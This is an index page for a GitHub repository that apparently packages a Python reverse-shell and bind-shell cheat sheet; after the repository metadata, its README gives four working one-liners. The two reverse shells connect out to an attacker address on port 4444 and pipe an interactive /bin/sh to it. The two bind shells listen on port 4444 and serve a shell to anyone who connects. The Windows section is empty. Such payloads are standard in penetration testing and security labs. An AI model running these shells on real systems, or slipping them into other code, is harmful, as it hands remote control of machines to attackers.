https://github.com/shelld3v/python-shell-cheat-sheet
Full python reverse shell and bind shell payloads
https://github.com/shelld3v/python-shell-cheat-sheet
bind-shell cheat-sheet exploit hacking python python3 reverse-shell security shell
Last synced: 17 days ago
JSON representation
Full python reverse shell and bind shell payloads
- Host: GitHub
- URL: https://github.com/shelld3v/python-shell-cheat-sheet
- Owner: shelld3v
- Created: 2020-04-30T14:22:57.000Z (about 6 years ago)
- Default Branch: master
- Last Pushed: 2020-04-30T15:06:44.000Z (about 6 years ago)
- Last Synced: 2025-10-11T07:29:41.713Z (7 months ago)
- Topics: bind-shell, cheat-sheet, exploit, hacking, python, python3, reverse-shell, security, shell
- Homepage:
- Size: 1000 Bytes
- Stars: 16
- Watchers: 1
- Forks: 5
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# Python reverse shell and bind shell Cheat Sheet
## Linux
### Reverse shell
#### Ipv4
```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
```
#### Ipv6
```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4444,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
```
### Bind shell
#### Ipv4
```
python -c 'import socket,os,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.bind(("0.0.0.0",4444));s.listen(5);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
```
#### Ipv6
```
python -c 'import socket,os,subprocess;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.bind(("::1",4444,0,2));s.listen(5);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
```
## Windows
#### Updating ...